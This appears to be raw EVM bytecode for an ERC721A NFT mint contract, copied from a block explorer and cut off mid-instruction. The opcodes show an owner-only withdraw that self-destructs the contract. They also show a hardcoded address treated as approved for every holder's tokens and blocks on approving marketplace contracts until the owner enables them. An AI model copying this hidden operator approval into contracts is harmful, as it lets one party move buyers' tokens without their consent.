e9578287013590505b614af38582614a78565b865550614b5b565b601f198416614b09866148f2565b60005b82811015614b3157848901358255600182019150602085019450602081019050614b0c565b86831015614b4e5784890135614b4a601f891682614a5a565b8355505b6001600288020188555050505b50505050505050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b6000614bc0602b83613a82565b9150614bcb82614b64565b604082019050919050565b60006020820190508181036000830152614bef81614bb3565b9050919050565b60008160601b9050919050565b6000614c0e82614bf6565b9050919050565b6000614c2082614c03565b9050919050565b614c38614c3382613bb5565b614c15565b82525050565b6000614c4a8284614c27565b60148201915081905092915050565b7f496e76616c69642070726f6f6621000000000000000000000000000000000000600082015250565b6000614c8f600e83613a82565b9150614c9a82614c59565b602082019050919050565b60006020820190508181036000830152614cbe81614c82565b9050919050565b7f5468652063616c6c657220697320616e6f7468657220636f6e74726163740000600082015250565b6000614cfb601e83613a82565b9150614d0682614cc5565b602082019050919050565b60006020820190508181036000830152614d2a81614cee565b9050919050565b7f73616c6520686173206e6f742073746172746564207965740000000000000000600082015250565b6000614d67601883613a82565b9150614d7282614d31565b602082019050919050565b60006020820190508181036000830152614d9681614d5a565b9050919050565b7f72656163686564206d617820737570706c790000000000000000000000000000600082015250565b6000614dd3601283613a82565b9150614dde82614d9d565b602082019050919050565b60006020820190508181036000830152614e0281614dc6565b9050919050565b6000614e1482613b32565b9150614e1f83613b32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614e5457614e5361474c565b5b828201905092915050565b7f63616e206e6f74206d696e742074686973206d616e7900000000000000000000600082015250565b6000614e95601683613a82565b9150614ea082614e5f565b602082019050919050565b60006020820190508181036000830152614ec481614e88565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000614f27602f83613a82565b9150614f3282614ecb565b604082019050919050565b60006020820190508181036000830152614f5681614f1a565b9050919050565b600081905092915050565b6000614f7382613a77565b614f7d8185614f5d565b9350614f8d818560208601613a93565b80840191505092915050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b6000614fcf600583614f5d565b9150614fda82614f99565b600582019050919050565b6000614ff18285614f68565b9150614ffd8284614f68565b915061500882614fc2565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000615070602683613a82565b915061507b82615014565b604082019050919050565b6000602082019050818103600083015261509f81615063565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b600061510b601a83613a82565b9150615116826150d5565b602082019050919050565b6000602082019050818103600083015261513a816150fe565b9050919050565b7f53616c65732077696c6c206265206f70656e6564206166746572206d696e742060008201527f697320636f6d706c6574652e0000000000000000000000000000000000000000602082015250565b600061519d602c83613a82565b91506151a882615141565b604082019050919050565b600060208201905081810360008301526151cc81615190565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000615209602083613a82565b9150615214826151d3565b602082019050919050565b60006020820190508181036000830152615238816151fc565b9050919050565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b600061529b602a83613a82565b91506152a68261523f565b604082019050919050565b600060208201905081810360008301526152ca8161528e565b9050919050565b60006152dc82613b32565b91506152e783613b32565b9250828210156152fa576152f961474c565b5b828203905092915050565b600061531082613b32565b9150600082036153235761532261474c565b5b600182039050919050565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b600061538a602f83613a82565b91506153958261532e565b604082019050919050565b600060208201905081810360008301526153b98161537d565b9050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b600061541c603383613a82565b9150615427826153c0565b604082019050919050565b6000602082019050818103600083015261544b8161540f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061548c82613b32565b915061549783613b32565b9250826154a7576154a6615452565b5b828204905092915050565b60006154bd82613b32565b91506154c883613b32565b9250826154d8576154d7615452565b5b828206905092915050565b7f455243373231413a206e756d626572206d696e74656420717565727920666f7260008201527f20746865207a65726f2061646472657373000000000000000000000000000000602082015250565b600061553f603183613a82565b915061554a826154e3565b604082019050919050565b6000602082019050818103600083015261556e81615532565b9050919050565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b60006155d1603283613a82565b91506155dc82615575565b604082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000615663602683613a82565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006156f5602583613a82565b915061570082615699565b604082019050919050565b60006020820190508181036000830152615724816156e8565b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b60006157528261572b565b915061575d8361572b565b9250828210156157705761576f61474c565b5b828203905092915050565b60006157868261572b565b91506157918361572b565b9250826fffffffffffffffffffffffffffffffff038211156157b6576157b561474c565b5b828201905092915050565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061581d602183613a82565b9150615828826157c1565b604082019050919050565b6000602082019050818103600083015261584c81615810565b9050919050565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b6000615889601d83613a82565b915061589482615853565b602082019050919050565b600060208201905081810360008301526158b88161587c565b9050919050565b7f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960008201527f6768000000000000000000000000000000000000000000000000000000000000602082015250565b600061591b602283613a82565b9150615926826158bf565b604082019050919050565b6000602082019050818103600083015261594a8161590e565b9050919050565b600081519050919050565b600082825260208201905092915050565b600061597882615951565b615982818561595c565b9350615992818560208601613a93565b61599b81613ac6565b840191505092915050565b60006080820190506159bb6000830187613bc7565b6159c86020830186613bc7565b6159d56040830185613c5d565b81810360608301526159e7818461596d565b905095945050505050565b600081519050615a01816139e8565b92915050565b600060208284031215615a1d57615a1c6139b2565b5b6000615a2b848285016159f2565b9150509291505056fea2646970667358221220068c961d8a96596a1a74430db6e6269e2e73ccf6fc63d4f046eabb213d7a8def64736f6c634300080f0033000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000002710
Deployed Bytecode
0x60806040526004361061025c5760003560e01c8063715018a611610144578063b1f7f0eb116100b6578063d5abeb011161007a578063d5abeb0114610900578063d7224ba01461092b578063dc33e68114610956578063e985e9c514610993578063f2fde38b146109d0578063fdb8e34e146109f95761025c565b8063b1f7f0eb146107f7578063b758f90314610834578063b88d4fde1461085d578063c080519714610886578063c87b56dd146108c35761025c565b806390aa0b0f1161010857806390aa0b0f146106f35780639231ab2a1461071f57806395d89b411461075c5780639dfde201146107875780639fb17e34146107b2578063a22cb465146107ce5761025c565b8063715018a614610632578063801fe59b146106495780638942932d146106605780638bc35c2f1461069d5780638da5cb5b146106c85761025c565b806341f43434116101dd57806355a55465116101a157806355a554651461051457806355f804b31461053d5780636352211e1461056657806367ba5ecc146105a35780636f58ec48146105cc57806370a08231146105f55761025c565b806341f434341461042d57806342842e0e146104585780634aaf78f1146104815780634c0f38c2146104ac5780634f6ccce7146104d75761025c565b806323b872dd1161022457806323b872dd1461035a5780632a13614c146103835780632f745c59146103ae5780633ccfd60b146103eb5780633f5e4741146104025761025c565b806301ffc9a71461026157806306fdde031461029e578063081812fc146102c9578063095ea7b31461030657806318160ddd1461032f575b600080fd5b34801561026d57600080fd5b5061028860048036038101906102839190613a14565b610a22565b6040516102959190613a5c565b60405180910390f35b3480156102aa57600080fd5b506102b3610b6c565b6040516102c09190613b10565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190613b68565b610bfe565b6040516102fd9190613bd6565b60405180910390f35b34801561031257600080fd5b5061032d60048036038101906103289190613c1d565b610c83565b005b34801561033b57600080fd5b50610344610d8d565b6040516103519190613c6c565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190613c87565b610d97565b005b34801561038f57600080fd5b50610398610ee7565b6040516103a59190613cf3565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190613c1d565b610eed565b6040516103e29190613c6c565b60405180910390f35b3480156103f757600080fd5b506104006110e9565b005b34801561040e57600080fd5b5061041761110a565b6040516104249190613a5c565b60405180910390f35b34801561043957600080fd5b50610442611157565b60405161044f9190613d6d565b60405180910390f35b34801561046457600080fd5b5061047f600480360381019061047a9190613c87565b611169565b005b34801561048d57600080fd5b506104966112b9565b6040516104a39190613a5c565b60405180910390f35b3480156104b857600080fd5b506104c16112cc565b6040516104ce9190613c6c565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f99190613b68565b6112d6565b60405161050b9190613c6c565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190613db4565b611329565b005b34801561054957600080fd5b50610564600480360381019061055f9190613e59565b611360565b005b34801561057257600080fd5b5061058d60048036038101906105889190613b68565b61137e565b60405161059a9190613bd6565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613ed2565b611394565b005b3480156105d857600080fd5b506105f360048036038101906105ee9190613f3b565b6113a6565b005b34801561060157600080fd5b5061061c60048036038101906106179190613f68565b6113d5565b6040516106299190613c6c565b60405180910390f35b34801561063e57600080fd5b506106476114bd565b005b34801561065557600080fd5b5061065e6114d1565b005b34801561066c57600080fd5b5061068760048036038101906106829190613feb565b611505565b6040516106949190613a5c565b60405180910390f35b3480156106a957600080fd5b506106b261164a565b6040516106bf9190613c6c565b60405180910390f35b3480156106d457600080fd5b506106dd61166e565b6040516106ea9190613bd6565b60405180910390f35b3480156106ff57600080fd5b50610708611697565b604051610716929190614047565b60405180910390f35b34801561072b57600080fd5b5061074660048036038101906107419190613b68565b6116b9565b60405161075391906140d1565b60405180910390f35b34801561076857600080fd5b506107716116d1565b60405161077e9190613b10565b60405180910390f35b34801561079357600080fd5b5061079c611763565b6040516107a99190613c6c565b60405180910390f35b6107cc60048036038101906107c79190613b68565b611768565b005b3480156107da57600080fd5b506107f560048036038101906107f091906140ec565b611978565b005b34801561080357600080fd5b5061081e60048036038101906108199190613f68565b611a82565b60405161082b9190613a5c565b60405180910390f35b34801561084057600080fd5b5061085b6004803603810190610856919061412c565b611aa2565b005b34801561086957600080fd5b50610884600480360381019061087f919061429c565b611aff565b005b34801561089257600080fd5b506108ad60048036038101906108a89190613b68565b611c52565b6040516108ba9190613a5c565b60405180910390f35b3480156108cf57600080fd5b506108ea60048036038101906108e59190613b68565b611c72565b6040516108f79190613b10565b60405180910390f35b34801561090c57600080fd5b50610915611d19565b6040516109229190613c6c565b60405180910390f35b34801561093757600080fd5b50610940611d1f565b60405161094d9190613c6c565b60405180910390f35b34801561096257600080fd5b5061097d60048036038101906109789190613f68565b611d25565b60405161098a9190613c6c565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b5919061431f565b611d37565b6040516109c79190613a5c565b60405180910390f35b3480156109dc57600080fd5b506109f760048036038101906109f29190613f68565b611e1c565b005b348015610a0557600080fd5b50610a206004803603810190610a1b91906144e5565b611e9f565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610aed57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610b5557507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610b655750610b6482611f56565b5b9050919050565b606060048054610b7b9061458c565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba79061458c565b8015610bf45780601f10610bc957610100808354040283529160200191610bf4565b820191906000526020600020905b815481529060010190602001808311610bd757829003601f168201915b5050505050905090565b6000610c0982611fc0565b610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061462f565b60405180910390fd5b6008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b8160006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115610d7e576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430836040518363ffffffff1660e01b8152600401610cfb92919061464f565b602060405180830381865afa158015610d18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3c919061468d565b610d7d57806040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401610d749190613bd6565b60405180910390fd5b5b610d888383611fce565b505050565b6000600154905090565b8260006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115610ed5573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e0957610e04848484612198565b610ee1565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b8152600401610e5292919061464f565b602060405180830381865afa158015610e6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e93919061468d565b610ed457336040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401610ecb9190613bd6565b60405180910390fd5b5b610ee0848484612198565b5b50505050565b60025481565b6000610ef8836113d5565b8210610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f309061472c565b60405180910390fd5b6000610f43610d8d565b905060008060005b838110156110a7576000600660008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461103d57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611093578684036110845781955050505050506110e3565b838061108f9061477b565b9450505b50808061109f9061477b565b915050610f4b565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90614835565b60405180910390fd5b92915050565b6110f16121a8565b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600080600f60000160009054906101000a900463ffffffff1663ffffffff16141580156111525750600f60000160009054906101000a900463ffffffff1663ffffffff164210155b905090565b6daaeb6d7670e522a718067333cd4e81565b8260006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b11156112a7573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111db576111d6848484612226565b6112b3565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b815260040161122492919061464f565b602060405180830381865afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611265919061468d565b6112a657336040517fede71dcc00000000000000000000000000000000000000000000000000000000815260040161129d9190613bd6565b60405180910390fd5b5b6112b2848484612226565b5b50505050565b600360009054906101000a900460ff1681565b6000600e54905090565b60006112e0610d8d565b8210611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318906148c7565b60405180910390fd5b819050919050565b6113316121a8565b80600a600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6113686121a8565b818160119182611379929190614a94565b505050565b600061138982612246565b600001519050919050565b61139c6121a8565b8060028190555050565b6113ae6121a8565b80600f60000160006101000a81548163ffffffff021916908363ffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90614bd6565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6114c56121a8565b6114cf6000612449565b565b6114d96121a8565b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b600080336040516020016115199190614c3e565b6040516020818303038152906040528051906020012090506000326040516020016115449190614c3e565b6040516020818303038152906040528051906020012090506115aa858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506002548461250d565b806115ff57506115fe858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506002548361250d565b5b61163e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163590614ca5565b60405180910390fd5b60019250505092915050565b7f000000000000000000000000000000000000000000000000000000000000000a81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f8060000160009054906101000a900463ffffffff16908060010154905082565b6116c161396e565b6116ca82612246565b9050919050565b6060600580546116e09061458c565b80601f016020809104026020016040519081016040528092919081815260200182805461170c9061458c565b80156117595780601f1061172e57610100808354040283529160200191611759565b820191906000526020600020905b81548152906001019060200180831161173c57829003601f168201915b5050505050905090565b600081565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90614d11565b60405180910390fd5b6117de61110a565b61181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490614d7d565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000a811115611880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187790614de9565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000002710816118aa610d8d565b6118b49190614e09565b11156118f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ec90614de9565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000a8161192033611d25565b61192a9190614e09565b111561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290614eab565b60405180910390fd5b6119753382612524565b50565b8160006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115611a73576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430836040518363ffffffff1660e01b81526004016119f092919061464f565b602060405180830381865afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a31919061468d565b611a7257806040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401611a699190613bd6565b60405180910390fd5b5b611a7d8383612542565b505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b611aaa6121a8565b60405180604001604052808363ffffffff16815260200182815250600f60008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050505050565b8360006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115611c3e573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b7257611b6d8585858561289a565b611c4b565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b8152600401611bbb92919061464f565b602060405180830381865afa158015611bd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bfc919061468d565b611c3d57336040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401611c349190613bd6565b60405180910390fd5b5b611c4a8585858561289a565b5b5050505050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6060611c7d82611fc0565b611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb390614f3d565b60405180910390fd5b6000611cc66128f6565b90506000815111611ce65760405180602001604052806000815250611d11565b80611cf084612988565b604051602001611d01929190614fe5565b6040516020818303038152906040525b915050919050565b600e5481565b600c5481565b6000611d3082612ae8565b9050919050565b60007348181b9d88ffe0c7654ccecbc9e7505f7b9d0d1373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d895760019050611e16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b92915050565b611e246121a8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90615086565b60405180910390fd5b611e9c81612449565b50565b611ea76121a8565b60005b8251811015611f5157818181518110611ec657611ec56150a6565b5b6020026020010151600b6000858481518110611ee557611ee46150a6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611f499061477b565b915050611eaa565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600060015482109050919050565b611fd6612bd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90615121565b60405180910390fd5b600061204e8261137e565b90508073ffffffffffffffffffffffffffffffffffffffff1661206f612bd0565b73ffffffffffffffffffffffffffffffffffffffff16141580156120a1575061209f8161209a612bd0565b611d37565b155b156120d8576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600360009054906101000a900460ff161580156121135750600a600083815260200190815260200160002060009054906101000a900460ff16155b15612187576121378373ffffffffffffffffffffffffffffffffffffffff16612bd8565b15612177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216e906151b3565b60405180910390fd5b612182838383612bfb565b612193565b612192838383612bfb565b5b505050565b6121a3838383612cad565b505050565b6121b0612bd0565b73ffffffffffffffffffffffffffffffffffffffff166121ce61166e565b73ffffffffffffffffffffffffffffffffffffffff1614612224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221b9061521f565b60405180910390fd5b565b61224183838360405180602001604052806000815250611aff565b505050565b61224e61396e565b61225782611fc0565b612296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228d906152b1565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000000a83106122fa5760017f000000000000000000000000000000000000000000000000000000000000000a846122ed91906152d1565b6122f79190614e09565b90505b60008390505b818110612408576000600660008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146123f457809350505050612444565b50808061240090615305565b915050612300565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906153a0565b60405180910390fd5b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008261251a8584613264565b1490509392505050565b61253e8282604051806020016040528060008152506132ba565b5050565b61254a612bd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae90615121565b60405180910390fd5b600360009054906101000a900460ff1615801561261e5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278e576126428273ffffffffffffffffffffffffffffffffffffffff16612bd8565b15612682576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612679906151b3565b60405180910390fd5b806009600061268f612bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661273c612bd0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516127819190613a5c565b60405180910390a3612896565b806009600061279b612bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612848612bd0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161288d9190613a5c565b60405180910390a35b5050565b6128a5848484612cad565b6128b184848484613799565b6128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e790615432565b60405180910390fd5b50505050565b6060601180546129059061458c565b80601f01602080910402602001604051908101604052809291908181526020018280546129319061458c565b801561297e5780601f106129535761010080835404028352916020019161297e565b820191906000526020600020905b81548152906001019060200180831161296157829003601f168201915b5050505050905090565b6060600082036129cf576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612ae3565b600082905060005b60008214612a015780806129ea9061477b565b915050600a826129fa9190615481565b91506129d7565b60008167ffffffffffffffff811115612a1d57612a1c614171565b5b6040519080825280601f01601f191660200182016040528015612a4f5781602001600182028036833780820191505090505b5090505b60008514612adc57600182612a6891906152d1565b9150600a85612a7791906154b2565b6030612a839190614e09565b60f81b818381518110612a9957612a986150a6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612ad59190615481565b9450612a53565b8093505050505b919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4f90615555565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b600033905090565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b826008600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000612cb882612246565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16612cdf612bd0565b73ffffffffffffffffffffffffffffffffffffffff161480612d3b5750612d04612bd0565b73ffffffffffffffffffffffffffffffffffffffff16612d2384610bfe565b73ffffffffffffffffffffffffffffffffffffffff16145b80612d575750612d568260000151612d51612bd0565b611d37565b5b905080612d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d90906155e7565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0290615679565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e719061570b565b60405180910390fd5b612e878585856001613920565b612e976000848460000151612bfb565b6001600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612f059190615747565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612fa9919061577b565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506006600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555090505060006001846130af9190614e09565b9050600073ffffffffffffffffffffffffffffffffffffffff166006600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036131f45761312481611fc0565b156131f3576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506006600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167fffff